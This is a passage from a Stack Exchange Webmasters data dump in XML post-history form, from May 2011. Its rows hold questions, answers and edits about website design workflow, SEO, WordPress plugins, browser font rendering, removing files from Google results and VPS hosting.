Testing&#xD;&#xA;&#xD;&#xA;Get some real living breathing human beings to sit down in front of your site and start using it.  I like to enlist my mother who sometimes calls and [wants to know why her printer won't print][5] (The plug Mom,  It has to be plugged in first).  These kind of users need to be able to navigate your site unless of course were using the 16 year old pimple faced kid example above.&#xD;&#xA;&#xD;&#xA;##6. Maintenance and SEO Plan&#xD;&#xA;&#xD;&#xA;Make sure everyone knows who's in charge of fighting off **[the server beasts][6]**.  &#xD;&#xA;&#xD;&#xA;In a month refer back to the competitive analysis we did and compare our site to the ones we analyzed.  Use this data to create your SEO plan and NO I'm not talking about the [snake oil SEO,][7] I'm talking about making sure your still generating relavent content, sites are naturally linking to you (because your so awesome) and your title tags match the body text.  SEO is a long process unless your [Stack Overflow][8] and have an army of 14.1 million users to generate quality content for you.  &#xD;&#xA;&#xD;&#xA;There is a big difference between quality content and the stuff you find on &quot;the hyphenated site&quot;, which I won't be linking.  (To prevent the no-follow juice from even dripping on them).&#xD;&#xA;&#xD;&#xA;##7. Launch&#xD;&#xA;Everything works? The mission of building awesomeness was achieved? Have a launch plan and execute it.  &#xD;&#xA;&#xD;&#xA;If you did everything right in steps 1 - 6 your launch &lt;strike&gt; will be a breeze&lt;/strike&gt; no strike that &lt;strike&gt; you might&lt;/strike&gt; you will have problems.  Just be ready for them and fix any mistakes.&#xD;&#xA;&#xD;&#xA;Send the invoice, rinse and repeat.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bitquabit.com/post/have-a-mission/&#xD;&#xA;  [2]: http://bitquabit.com/page/about/&#xD;&#xA;  [3]: http://www.smashingmagazine.com/2008/09/18/the-top-7-open-source-version-control-systems/&#xD;&#xA;  [4]: http://www.fogcreek.com/fogbugz/&#xD;&#xA;  [5]: http://theoatmeal.com/blog/fix_computer&#xD;&#xA;  [6]: http://oatmeal.tumblr.com/post/2916375890/thank-you-tumblr&#xD;&#xA;  [7]: http://seobullshit.com/seo-bullshit-seo-snake-oil-seo-waste-money/&#xD;&#xA;  [8]: http://blog.stackoverflow.com/2011/04/page/2/" />
  <row Id="33605" PostHistoryTypeId="2" PostId="14347" RevisionGUID="3293b1fa-6438-4aaf-b71d-0681acab583f" CreationDate="2011-05-25T08:53:18.573" UserId="7198" Text="Chrome uses the WebKit rendering engine. Firefox uses the Gecko engine. Both interpret and display type slightly differently, as do the DirectX and Vega graphics engines used in IE9+ and Opera.&#xD;&#xA;&#xD;&#xA;You can't force browsers to render text identically, but you can do a couple of things to ensure that your navigation takes up the same width across browsers: &#xD;&#xA;&#xD;&#xA;  1. **Use images instead of type for your navigation bar elements.** This may prove useful if your navigation area is unlikely to change often. e.g. [www.apple.com](http://www.apple.com/)&#xD;&#xA;&#xD;&#xA;  2. **Fix the width of each navigation element with CSS.** The text size will still look different between browsers, but if you give each `&lt;li&gt;` element in your navigation area a fixed pixel width, the bounding box of each link will be very similar across browsers and the total width of the nav area should be the same.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33606" PostHistoryTypeId="25" PostId="14313" RevisionGUID="58b8b87a-5c2a-4b29-893c-951d61d02819" CreationDate="2011-05-25T09:12:40.613" Comment="http://twitter.com/#!/StackWebmasters/status/73315534090936320" />
  <row Id="33607" PostHistoryTypeId="2" PostId="14348" RevisionGUID="9e7284f7-998c-479c-b152-0d5fdc2845fa" CreationDate="2011-05-25T09:44:00.813" UserId="7801" Text="With the help of a few plugins you can turn Wordpress into an excellent CMS and create whatever type of website you'd like. It really is that flexible! &#xD;&#xA;&#xD;&#xA;We currently use it for all our websites and it's just a case of rolling out these plugins (via some cloning to save you installing each time!) to name a few:&#xD;&#xA;&#xD;&#xA;**Admin Menu Editor**&#xD;&#xA;Lets you directly edit the WordPress admin menu. You can re-order, hide or rename existing menus, add custom menus and more.&#xD;&#xA;&#xD;&#xA;**Advanced Custom Fields**&#xD;&#xA;Completely Customise your edit pages with an assortment of field types: Wysiwyg, Repeater, text, textarea, image, file, select, checkbox post type, page link and more! Hide unwanted metaboxes and assign to any edit page!&#xD;&#xA;&#xD;&#xA;**CMS Dashboard**&#xD;&#xA;Big user friendly buttons to make your clients happy and your wordpress a better CMS&#xD;&#xA;&#xD;&#xA;**Google Analytics for WordPress**&#xD;&#xA;This plugin makes it simple to add Google Analytics to your WordPress blog, adding lots of features, eg. custom variables and automatic clickout and download tracking.&#xD;&#xA;&#xD;&#xA;**NIVO slider light**&#xD;&#xA;This is a wrapper for the jQuery plugin NIVO Image Slider from dev7studios.&#xD;&#xA;&#xD;&#xA;**Pages Children**&#xD;&#xA;Display Pages heirarchy a single level pages at a time.&#xD;&#xA;&#xD;&#xA;**Simple Page Ordering**&#xD;&#xA;Order your pages and hierarchical post types using drag and drop on the built in page list. Also adds a filter for items to show per page. For further instructions, open the &quot;Help&quot; tab on the Pages screen.&#xD;&#xA;&#xD;&#xA;**TinyMCE Advanced**&#xD;&#xA;Enables advanced features and plugins in TinyMCE, the visual editor in WordPress.&#xD;&#xA;&#xD;&#xA;**Web Editors CMS**&#xD;&#xA;A collection of plugins that optimize WordPress to use as a CMS. Includes our custom plugins and some extra's.&#xD;&#xA;&#xD;&#xA;**WordPress SEO**&#xD;&#xA;The first true all-in-one SEO solution for WordPress, including on-page content analysis, XML sitemaps and much more.&#xD;&#xA;&#xD;&#xA;I'm sure there are other plugins out there but a combination of these has so far covered what we've needed for several different websites, all with different needs." />
  <row Id="33608" PostHistoryTypeId="2" PostId="14349" RevisionGUID="30e9524d-7de0-4ab3-b8cd-616829eaf8fa" CreationDate="2011-05-25T10:04:08.527" UserId="7801" Text="I have a few elements on my page that uses onclick as the link, e.g:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;div onclick=&quot;location.href='/link';&quot; style=&quot;cursor: pointer;&quot;&gt;&#xD;&#xA;         &lt;p&gt;Example link&lt;/p&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;Does this have an impact on crawlers and SEO over say a normal link?&#xD;&#xA;" />
  <row Id="33609" PostHistoryTypeId="1" PostId="14349" RevisionGUID="30e9524d-7de0-4ab3-b8cd-616829eaf8fa" CreationDate="2011-05-25T10:04:08.527" UserId="7801" Text="Does using onclick on div's effect SEO?" />
  <row Id="33610" PostHistoryTypeId="3" PostId="14349" RevisionGUID="30e9524d-7de0-4ab3-b8cd-616829eaf8fa" CreationDate="2011-05-25T10:04:08.527" UserId="7801" Text="&lt;seo&gt;&lt;html&gt;&lt;javascript&gt;&lt;accessibility&gt;" />
  <row Id="33611" PostHistoryTypeId="2" PostId="14350" RevisionGUID="83085732-e031-445c-bde8-749c5ff41328" CreationDate="2011-05-25T10:10:13.567" UserId="3214" Text="###Google has a serp tracking tool,  [Google Webmaster Tools][1]&#xD;&#xA;&#xD;&#xA;Lots of pretty graphs but you are limited to those keywords that people are actually using to find your site.  If your site is optimized for SEO those keywords should be the same ones you want to track anyway.![enter image description here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/edu/quickstartguide/sub1guide5.html&#xD;&#xA;  [2]: http://i.stack.imgur.com/btLrA.png" />
  <row Id="33612" PostHistoryTypeId="16" PostId="14350" RevisionGUID="a019b497-3eb4-4bf7-b8f1-77f8874bdc1f" CreationDate="2011-05-25T10:10:13.567" UserId="3214" />
  <row Id="33613" PostHistoryTypeId="2" PostId="14351" RevisionGUID="d50d30c1-efa0-4631-a69e-2ad6c1ae5241" CreationDate="2011-05-25T10:11:24.190" UserId="1643" Text="This is Google's answer: http://www.google.com/support/webmasters/bin/answer.py?answer=81766&#xD;&#xA;&#xD;&#xA;&gt; When creating your links, format them&#xD;&#xA;&gt; so that they'll offer a static link as&#xD;&#xA;&gt; well as call a JavaScript function.&#xD;&#xA;&gt; That way you'll have the AJAX&#xD;&#xA;&gt; functionality for JavaScript users,&#xD;&#xA;&gt; while non-JavaScript users can ignore&#xD;&#xA;&gt; the script and follow the link. For&#xD;&#xA;&gt; example:&#xD;&#xA;&gt; &#xD;&#xA;&gt; &#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;ajax.htm?foo=32&quot; onClick=&quot;navigate('ajax.html#foo=32'); return false&quot;&gt;foo 32&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;&gt; Note that the&#xD;&#xA;&gt; static link's URL has a parameter&#xD;&#xA;&gt; (?foo=32) instead of a fragment&#xD;&#xA;&gt; (#foo=32), which is used by the AJAX&#xD;&#xA;&gt; code. This is important, as search&#xD;&#xA;&gt; engines understand URL parameters but&#xD;&#xA;&gt; often ignore fragments. Since you now&#xD;&#xA;&gt; offer static links, users and search&#xD;&#xA;&gt; engines can link to the exact content&#xD;&#xA;&gt; that they want to share or reference.&#xD;&#xA;&gt; &#xD;&#xA;&gt; While we're constantly improving our&#xD;&#xA;&gt; crawling capability, using HTML links&#xD;&#xA;&gt; remains a strong way to help us (as&#xD;&#xA;&gt; well as other search engines, mobile&#xD;&#xA;&gt; devices and users) better understand&#xD;&#xA;&gt; your site's structure.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33614" PostHistoryTypeId="2" PostId="14352" RevisionGUID="a01ff013-f087-499d-aaee-35b00227d401" CreationDate="2011-05-25T10:18:29.860" UserId="6109" Text="How do you monitor who has clicked an advert and what is possible in terms of protecting against abusive clicks?" />
  <row Id="33615" PostHistoryTypeId="1" PostId="14352" RevisionGUID="a01ff013-f087-499d-aaee-35b00227d401" CreationDate="2011-05-25T10:18:29.860" UserId="6109" Text="Monitoring/protecting GoogleAds" />
  <row Id="33616" PostHistoryTypeId="3" PostId="14352" RevisionGUID="a01ff013-f087-499d-aaee-35b00227d401" CreationDate="2011-05-25T10:18:29.860" UserId="6109" Text="&lt;google-adsense&gt;&lt;protection&gt;" />
  <row Id="33617" PostHistoryTypeId="2" PostId="14353" RevisionGUID="a7f0f40b-3363-4c9f-a740-2ff861223f34" CreationDate="2011-05-25T10:25:30.400" UserId="1643" Text="Google try to detect and protect against click fraud themselves:&#xD;&#xA;http://adwords.blogspot.com/2006/03/about-invalid-clicks.html&#xD;&#xA;&#xD;&#xA;&gt; Fighting invalid clicks aggressively&#xD;&#xA;&gt; is in Google's best interest and&#xD;&#xA;&gt; essential for us to maintain a viable&#xD;&#xA;&gt; business.&#xD;&#xA;&#xD;&#xA;There's more information here:&#xD;&#xA;http://www.google.com/adwords/adtrafficquality/overview.html" />
  <row Id="33618" PostHistoryTypeId="6" PostId="14352" RevisionGUID="5226a11f-d4c9-4bbf-8f8e-f84e7b3f3a81" CreationDate="2011-05-25T10:27:29.210" UserId="1643" Comment="edited tags" Text="&lt;google-adsense&gt;&lt;protection&gt;&lt;fraud-detection&gt;" />
  <row Id="33619" PostHistoryTypeId="2" PostId="14354" RevisionGUID="0df66daa-04ca-45a5-b3cd-920541198d59" CreationDate="2011-05-25T10:29:35.347" UserId="7802" Text="[kind of same issue stated here][1] &#xD;&#xA;&#xD;&#xA;you can reset your css by  &#xD;&#xA;&#xD;&#xA;http://developer.yahoo.com/yui/reset/&#xD;&#xA;hope at-lest you get some clue by&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/4698564/fonts-looks-different-in-firefox-and-chrome" />
  <row Id="33620" PostHistoryTypeId="2" PostId="14355" RevisionGUID="06d0217f-3faf-4963-bfdc-4001afd174a3" CreationDate="2011-05-25T10:51:49.063" UserId="4157" Text="we have cisco CWS working which has a web administration site. On that site it has DIV with 'overall summary'.&#xD;&#xA;&#xD;&#xA;We would like to show that DIV on a centralized monitoring system web that we are doing for ourselves. &#xD;&#xA;&#xD;&#xA;Is it possible to do a proxypass from apache to only that DIV?&#xD;&#xA;How I should manage the autentication process before reaching that DIV?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33621" PostHistoryTypeId="1" PostId="14355" RevisionGUID="06d0217f-3faf-4963-bfdc-4001afd174a3" CreationDate="2011-05-25T10:51:49.063" UserId="4157" Text="Show a single DIV from remote site to new site. Only http access to remote host." />
  <row Id="33622" PostHistoryTypeId="3" PostId="14355" RevisionGUID="06d0217f-3faf-4963-bfdc-4001afd174a3" CreationDate="2011-05-25T10:51:49.063" UserId="4157" Text="&lt;web-development&gt;&lt;web&gt;&lt;proxy&gt;" />
  <row Id="33623" PostHistoryTypeId="2" PostId="14356" RevisionGUID="9723a9ca-ece2-4ef5-820b-727eb069301d" CreationDate="2011-05-25T11:13:11.163" UserId="2044" Text="I am planning for purchase of VPS Package. Beside Webspace hosting, what other features can we provide to our customers?" />
  <row Id="33624" PostHistoryTypeId="1" PostId="14356" RevisionGUID="9723a9ca-ece2-4ef5-820b-727eb069301d" CreationDate="2011-05-25T11:13:11.163" UserId="2044" Text="Things we can do with VPS Packages" />
  <row Id="33625" PostHistoryTypeId="3" PostId="14356" RevisionGUID="9723a9ca-ece2-4ef5-820b-727eb069301d" CreationDate="2011-05-25T11:13:11.163" UserId="2044" Text="&lt;marketing&gt;&lt;vps&gt;&lt;features&gt;" />
  <row Id="33626" PostHistoryTypeId="5" PostId="14344" RevisionGUID="29515b03-5d92-45fe-9571-925fbaf33f2d" CreationDate="2011-05-25T11:13:28.683" UserId="3214" Comment="added 1 characters in body" Text="#When designing a website I start by asking why?&#xD;&#xA;&#xD;&#xA;The first part of my workflow is asking WHY?  If I'm working with a client I need to make sure they have a clear defined vision of what they want the website to accomplish.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##1. The Why Questions.&#xD;&#xA;- Tell me a bit about yourself and why you are doing this.&#xD;&#xA;&#xD;&#xA;- Who are the customers? What’s their specific need / pain? Please be able to provide me - with a few specific examples of different types of customers, what they need, what the website will do for them.&#xD;&#xA;&#xD;&#xA;- Tell me about the business. What is it that you exactly do?&#xD;&#xA;&#xD;&#xA;- What makes you better than the next guy?&#xD;&#xA;&#xD;&#xA;- If you were searching for the service your business provides what would YOU type into Google to find it?&#xD;&#xA;&#xD;&#xA;If your building the site for yourself then you better already know what these answers are.&#xD;&#xA;&#xD;&#xA;If you determine based on the answers to the questions above that these people are serious and actually have a good idea.  Then proceed (Remember you are not getting paid yet but you better kock their socks off if you want them to hire you.)&#xD;&#xA;&#xD;&#xA;##2. The Research.&#xD;&#xA;&#xD;&#xA;Spend some time researching the client and his business.  Find out their past successes and any problems they have encountered.  Are you the 3rd developer they have hired?  What happened to the other 2 guys?&#xD;&#xA;&#xD;&#xA;Find out what the customer needs.  Who will you be building this site for.  Is the customer a 60 year old retired veteren or a 16 year old pimple faced kid who plays Farmville on Facebook all day.&#xD;&#xA;&#xD;&#xA;Find out who the competitors are.  They might not even know.  Do a competitive analysis of 5 to 10 competitors and find out who's ass we need to kick in the Serps.  This is the stage you need to know what the key word targets is.  Any later and your already failing.&#xD;&#xA;&#xD;&#xA;##2b The Proposal&#xD;&#xA;&#xD;&#xA;Blow them away with your knowledge of their business and come up with a website agreement / proposal and be ready with your contract once they agree. Get the signed contract and a 50% deposit then proceed to step 3.&#xD;&#xA;&#xD;&#xA;##3. The Mission -- [Have one][1]&#xD;&#xA;&#xD;&#xA;&gt; There’s a common theme here: in all of&#xD;&#xA;&gt; these cases, the mission isn’t about&#xD;&#xA;&gt; the product as such. The mission is&#xD;&#xA;&gt; “just” something that, if you’re&#xD;&#xA;&gt; really serious about, requires that&#xD;&#xA;&gt; the product become absolutely amazing,&#xD;&#xA;&gt; so you make that happen. If you&#xD;&#xA;&gt; prefer: these missions are all the&#xD;&#xA;&gt; answer to, why did we just add that&#xD;&#xA;&gt; new feature?, not, what new feature&#xD;&#xA;&gt; are we adding?&#xD;&#xA;&gt; &lt;cite&gt;--[Benjamin Pollack.][2] &lt;/cite&gt;&#xD;&#xA;&#xD;&#xA;The timeline needs to be established so everyone will have their expectations in perspective.&#xD;&#xA;&#xD;&#xA;##4. The Workflow&#xD;&#xA;&#xD;&#xA;This is where most people start so I will explain my process but you will have to decide what workflow is the best for your situation, team, client etc.&#xD;&#xA;&#xD;&#xA;1. For me **The Content** comes first.  I make make sure that the client has a majority of it done before any code is written.  We're not talking final draft proof editing but more or less the words of text that will be on the pages.  If a marketing team is involved this could take a while.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2. You should already have an idea of what the site will look like. You should have the content. Now you need to work on the layout and general design principles that will accomplish the goal you came up with in step 3.  &#xD;&#xA;&#xD;&#xA; I HATE wireframes but understand that they are necessary.  Just because you know what the site looks like your client might not. This is for your protection and the clients.  When everyone is happy make them sign off on something that says &quot;This is what we are paying you to build&quot;. &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;3. Frontend development and UI - HTML, CSS and **[DESIGNING IN THE BROWSER](http://hardboiledwebdesign.com/about/)**, Andy Clarke's Hardboiled technique.  I'm tired of wasting so much time in Photoshop when I know can demonstrate a more realistic faster mockup that also gives me a head start on the development.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##4b. The Codebase&#xD;&#xA;&#xD;&#xA;You finally get to have some fun.  For yours and the clients benefit set up [VERSION CONTROL][3] before you get started.  Since your doing version control you should go ahead and set up [BUG TRACKING][4] while your at it.&#xD;&#xA;&#xD;&#xA;##4c. Copy Editing&#xD;&#xA;&#xD;&#xA;Remember that content we have?  Now is when it has to be copy edited.  I suck at this so I try and hire someone else or make sure a lot of people read it.  Check and make sure those keywords we talked about in step 2 are optimized for SEO.  If our content is great and is actually about those key words this should come naturally.&#xD;&#xA;&#xD;&#xA;##5. Beta and UI Testing&#xD;&#xA;&#xD;&#xA;Get some real living breathing human beings to sit down in front of your site and start using it.  I like to enlist my mother who sometimes calls and [wants to know why her printer won't print][5] (The plug Mom,  It has to be plugged in first).  These kind of users need to be able to navigate your site unless of course were using the 16 year old pimple faced kid example above.&#xD;&#xA;&#xD;&#xA;##6. Maintenance and SEO Plan&#xD;&#xA;&#xD;&#xA;Make sure everyone knows who's in charge of fighting off **[the server beasts][6]**.  &#xD;&#xA;&#xD;&#xA;In a month refer back to the competitive analysis we did and compare our site to the ones we analyzed.  Use this data to create your SEO plan and NO I'm not talking about the [snake oil SEO,][7] I'm talking about making sure your still generating relavent content, sites are naturally linking to you (because your so awesome) and your title tags match the body text.  SEO is a long process unless your [Stack Overflow][8] and have an army of 14.1 million users to generate quality content for you.  &#xD;&#xA;&#xD;&#xA;There is a big difference between quality content and the stuff you find on &quot;the hyphenated site&quot;, which I won't be linking.  (To prevent the no-follow juice from even dripping on them).&#xD;&#xA;&#xD;&#xA;##7. Launch&#xD;&#xA;Everything works? The mission of building awesomeness was achieved? Have a launch plan and execute it.  &#xD;&#xA;&#xD;&#xA;If you did everything right in steps 1 - 6 your launch &lt;strike&gt; will be a breeze&lt;/strike&gt; no strike that &lt;strike&gt; you might&lt;/strike&gt; you will have problems.  Just be ready for them and fix any mistakes.&#xD;&#xA;&#xD;&#xA;Send the invoice, rinse and repeat.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bitquabit.com/post/have-a-mission/&#xD;&#xA;  [2]: http://bitquabit.com/page/about/&#xD;&#xA;  [3]: http://www.smashingmagazine.com/2008/09/18/the-top-7-open-source-version-control-systems/&#xD;&#xA;  [4]: http://www.fogcreek.com/fogbugz/&#xD;&#xA;  [5]: http://theoatmeal.com/blog/fix_computer&#xD;&#xA;  [6]: http://oatmeal.tumblr.com/post/2916375890/thank-you-tumblr&#xD;&#xA;  [7]: http://seobullshit.com/seo-bullshit-seo-snake-oil-seo-waste-money/&#xD;&#xA;  [8]: http://blog.stackoverflow.com/2011/04/page/2/" />
  <row Id="33627" PostHistoryTypeId="2" PostId="14357" RevisionGUID="5cff7441-b37a-4961-bf71-cd63a2f38b3c" CreationDate="2011-05-25T11:13:31.250" UserId="1643" Text="[Selenium][1] is a tool for testing websites and web applications. You can probably use it to log into the site however it does the authentication and then get the contents of that DIV and save it to a file. Then you can include that file using an IFRAME on your centralized monitoring system.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://seleniumhq.org/" />
  <row Id="33628" PostHistoryTypeId="2" PostId="14358" RevisionGUID="68cad79e-59d6-458b-950f-7e095d63b41b" CreationDate="2011-05-25T11:33:28.027" UserId="1643" Text="You could provide them with installed software such as Wordpress, Drupal, phpBB, Joomla, MediaWiki etc. Just have a look at webhosting companies to see what they offer." />
  <row Id="33629" PostHistoryTypeId="25" PostId="14349" RevisionGUID="b4e3d400-32e1-4161-b00b-c819cf86c59e" CreationDate="2011-05-25T12:12:41.597" Comment="http://twitter.com/#!/StackWebmasters/status/73360837833785344" />
  <row Id="33630" PostHistoryTypeId="2" PostId="14359" RevisionGUID="34aa8c06-6f9a-4bfa-b004-f408d47d91a8" CreationDate="2011-05-25T12:50:49.500" UserId="-1" Text="" />
  <row Id="33631" PostHistoryTypeId="2" PostId="14360" RevisionGUID="1f1e8f2f-bf28-4fe2-a415-63354a15a3ed" CreationDate="2011-05-25T12:50:49.500" UserId="-1" Text="" />
  <row Id="33632" PostHistoryTypeId="2" PostId="14361" RevisionGUID="58750287-f3fc-4477-b3d8-4284667ae57e" CreationDate="2011-05-25T13:02:08.693" UserId="7090" Text="A VPS allows for full control of the server. If customers need a custom solution like Varnish HTTP caching, or memcached you can provide this. This also allows you to control what version of PHP is installed along with the web server. So if you wanted nginx instead of Apache you could do this.&#xD;&#xA;&#xD;&#xA;Simply, a VPS provides more control and additional capacity." />
  <row Id="33633" PostHistoryTypeId="2" PostId="14362" RevisionGUID="e4b0673e-7b18-4c29-a8de-46f68031bcbd" CreationDate="2011-05-25T13:07:31.060" UserId="7436" Text="Is there an estimated amount of time before the document will not appear in google results?&#xD;&#xA;&#xD;&#xA;We have a public records document.  __One__ person raised a concern when they saw their &quot;PUBLIC INFORMATION&quot; on goolge.  So, I've been tasked with removing the file from google searching.&#xD;&#xA;&#xD;&#xA;It's an xls file, so I can't add any meta tags to it.  I want to know how long before it will be gone from google?&#xD;&#xA;&#xD;&#xA;Please feel free to enlighten me about the other search engines as well." />
  <row Id="33634" PostHistoryTypeId="1" PostId="14362" RevisionGUID="e4b0673e-7b18-4c29-a8de-46f68031bcbd" CreationDate="2011-05-25T13:07:31.060" UserId="7436" Text="After adding *.xls to robots.txt how long will the results continue to show up in google." />
  <row Id="33635" PostHistoryTypeId="3" PostId="14362" RevisionGUID="e4b0673e-7b18-4c29-a8de-46f68031bcbd" CreationDate="2011-05-25T13:07:31.060" UserId="7436" Text="&lt;google&gt;&lt;indexing&gt;&lt;robots.txt&gt;" />
  <row Id="33636" PostHistoryTypeId="2" PostId="14363" RevisionGUID="050afc08-7bf7-4fe2-a5d5-f188a4ca012b" CreationDate="2011-05-25T13:11:27.290" UserId="7090" Text="You're probably best off writing a script in ruby or PHP that scrapes the contents of that div every *n* minutes and saves it to a file. Then you can iframe it in your monitoring system." />
  <row Id="33637" PostHistoryTypeId="2" PostId="14364" RevisionGUID="ada3a53f-7870-47a2-8c3d-48c0570b9c4e" CreationDate="2011-05-25T13:11:46.180" UserId="1253" Text="It varies by website. Each search engine crawls each website at different rates. But if you want those files removed from the search engine results sooner rather then later you can remove them via the [URL removal tool in Google Webmaster Tools][1]. I don't know if Bing offers such an option, however.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=164734" />
  <row Id="33638" PostHistoryTypeId="2" PostId="14365" RevisionGUID="b5365f78-7f46-43e8-9120-0d0fd08b3f67" CreationDate="2011-05-25T13:15:19.353" UserId="1643" Text="The quickest way of getting this removed from Google is through their URL removal tool. Register your site with [Google Webmaster Tools][1] and you have access to the tool. More instructions here: http://www.google.com/support/webmasters/bin/answer.py?hl=en-GB&amp;answer=164734 (click on &quot;I want to completely remove a page from search results&quot; at the bottom). If you really want them to do it quickly then look out for the bit that says:&#xD;&#xA;&#xD;&#xA;&gt; If you want to report content that you believe warrants removal from Google's services based on applicable laws, this tool will guide you through the process. Completing this form will help ensure that we have all of the information necessary to investigate your specific enquiry and and resolve it as quickly as possible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As for how long it takes, Google doesn't make any promises.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools" />
  <row Id="33639" PostHistoryTypeId="5" PostId="14355" RevisionGUID="f341baf3-6534-4be0-9793-a1f75b0beca1" CreationDate="2011-05-25T13:19:22.883" UserId="1253" Comment="modified tags, formatted text" Text="we have cisco CWS working which has a web administration site. On that site it has DIV with 'overall summary'.&#xD;&#xA;&#xD;&#xA;We would like to show that DIV on a centralized monitoring system web that we are doing for ourselves. &#xD;&#xA;&#xD;&#xA;Is it possible to do a proxypass from apache to only that DIV?&#xD;&#xA;How I should manage the autentication process before reaching that DIV?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33640" PostHistoryTypeId="6" PostId="14355" RevisionGUID="f341baf3-6534-4be0-9793-a1f75b0beca1" CreationDate="2011-05-25T13:19:22.883" UserId="1253" Comment="modified tags, formatted text" Text="&lt;web-development&gt;&lt;proxy&gt;" />
  <row Id="33641" PostHistoryTypeId="2" PostId="14366" RevisionGUID="0b848939-68a4-43a8-95cb-33f39913bc1c" CreationDate="2011-05-25T13:21:38.390" UserId="7198" Text="If you're thinking of renting a VPS to resell web hosting but you're not sure what else to do with it, **you'd probably be better off renting a &quot;reseller hosting account&quot;** from someone like [Hostgator](http://www.hostgator.com/resellers.shtml).&#xD;&#xA;&#xD;&#xA;A reseller account allows you to offer web, email, and database hosting to your customers without needing to learn how to configure and maintain a web server. Your customers get a control panel and one-click app installers for things like WordPress, and you often get features like a billing system, white-label branding (with your logo), and outsourced technical support.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33642" PostHistoryTypeId="17" PostId="14367" RevisionGUID="5ced07f1-e580-455e-b79f-c1d51eadd71f" CreationDate="2011-05-25T13:27:21.400" UserId="-1" Comment="from http://stackoverflow.com/questions/533437/google-search-of-pdf-documents" Text="" />
  <row Id="33643" PostHistoryTypeId="17" PostId="14368" RevisionGUID="b14182e3-619d-490b-aacf-4eef8d82c614" CreationDate="2011-05-25T13:27:21.400" UserId="-1" Comment="from http://stackoverflow.com/questions/533437/google-search-of-pdf-documents" Text="" />
  <row Id="33644" PostHistoryTypeId="17" PostId="14369" RevisionGUID="dbc0f354-2118-405c-8ceb-851ee8a4bee6" CreationDate="2011-05-25T13:27:21.400" UserId="-1" Comment="from http://stackoverflow.com/questions/533437/google-search-of-pdf-documents" Text="" />
  <row Id="33645" PostHistoryTypeId="17" PostId="14370" RevisionGUID="2fabf9ea-3134-4e06-9d27-77cfc2f334c6" CreationDate="2011-05-25T13:27:21.400" UserId="-1" Comment="from http://stackoverflow.com/questions/533437/google-search-of-pdf-documents" Text="" />
  <row Id="33646" PostHistoryTypeId="17" PostId="14371" RevisionGUID="3cb277e6-19f7-4bcb-8591-4888bfa5dc4d" CreationDate="2011-05-25T13:27:21.400" UserId="-1" Comment="from http://stackoverflow.com/questions/533437/google-search-of-pdf-documents" Text="" />
  <row Id="33647" PostHistoryTypeId="17" PostId="14372" RevisionGUID="57405209-9ff7-45c7-90f7-bd205b6c56d2" CreationDate="2011-05-25T13:27:21.400" UserId="-1" Comment="from http://stackoverflow.com/questions/533437/google-search-of-pdf-documents" Text="" />
  <row Id="33648" PostHistoryTypeId="2" PostId="14368" RevisionGUID="8222da58-53c2-4976-8ebc-9915503210ac" CreationDate="2009-02-10T17:54:38.820" UserId="3542" Text="Are you specifying the content-type for Google?" />
  <row Id="33649" PostHistoryTypeId="2" PostId="14369" RevisionGUID="ff73e669-e772-4d5a-9717-cdaf867c99a8" CreationDate="2009-02-10T17:55:24.933" UserId="828" Text="There can be quite a lag between google initially reading your content and it appearing in the index. We recently re-launched a site, submitting sitemaps to google on launch, and it took approx 3 weeks for the new pages to start showing up in search results.&#xD;&#xA;&#xD;&#xA;How long ago did you submit these PDFs via your sitemap?&#xD;&#xA;&#xD;&#xA;&gt;(except for the five that are indexed)&#xD;&#xA;&#xD;&#xA;It sounds like your PDFs are being indexed, but it's taking some time. Presuming that there's no difference in the way the non-indexed PDFs have been generated, then I'd suspect it's just the index taking a while to update.&#xD;&#xA;&#xD;&#xA;On a slight tangent, one useful tool that I'd recommend signing up for is [Google Webmaster](http://www.google.com/webmaster) - it shows you the crawl rate, problems with your site, sitemaps and indexing within a day or so of the Googlebot hitting your site. It could save you a bit of time going through your IIS logs." />
  <row Id="33650" PostHistoryTypeId="2" PostId="14371" RevisionGUID="f0e424e9-c712-4722-b8fd-31eccd2ecec6" CreationDate="2009-02-10T18:12:19.120" UserDisplayName="markus" Text="are all the pdfs located at the same spot? I once had the problem that one of my pdf-locations was inside a folder that was excluded by the robots.txt. Submit your sitemap directly to the google-webmaster tool-site and you may get valuable information as to the whyness of the pdfs not appearing. in my case google told me 'hey, these 54 pdf documents are on your sitemap but due to robots.txt restrictions we cannot index them'. so that was pretty helpful. but mind what the commentator says, it can take a while until this information appears.&#xD;&#xA;&#xD;&#xA;Google Webmaster Tools: [https://www.google.com/webmasters/tools][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools" />
  <row Id="33651" PostHistoryTypeId="2" PostId="14370" RevisionGUID="58880710-e451-416b-ae41-2be8e38e2eb2" CreationDate="2009-02-10T18:00:52.473" UserDisplayName="srand" Text="You can try to submit to Google directly, this may speed up the process:&#xD;&#xA;&#xD;&#xA;[http://www.google.com/submit_content.html][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/submit_content.html" />
